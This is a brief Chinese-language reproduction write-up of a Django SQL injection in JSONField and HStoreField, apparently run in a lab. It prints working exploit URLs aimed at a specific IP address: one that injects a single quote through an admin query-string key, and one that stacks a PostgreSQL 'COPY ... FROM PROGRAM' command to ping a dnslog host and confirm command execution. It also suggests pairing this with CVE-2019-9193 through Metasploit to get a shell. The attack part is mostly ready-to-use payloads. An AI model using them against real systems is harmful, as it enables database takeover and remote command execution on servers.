Django在2019年8月1日发布了一个安全更新,修复了在JSONField、HStoreField两个模型字段中存在的SQL注入漏洞。
首先登陆后台http://your-ip:8000/admin/
,用户名密码为admin
、a123123123
。

登陆后台后,进入模型Collection
的管理页面http://your-ip:8000/admin/vuln/collection/
:

然后在GET参数中构造detail__a'b=123
提交,其中detail
是模型Collection
中的JSONField:
http://113.10.152.216:8000/admin/vuln/collection/?detail__a%27b=123
可见,单引号已注入成功,SQL语句报错:

可以看到已经注入成功,并且可以看到构造的SQL语句
然后用dnslog检测是否可以执行命令
http://113.10.152.216:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20a49gr.l.dnslog.io%27--%20

复现环境里的postgresql数据库docker没对外的端口映射,如果开了或者真实环境里,还可以结合msf通过CVE-2019-9193来getshell
大概就这些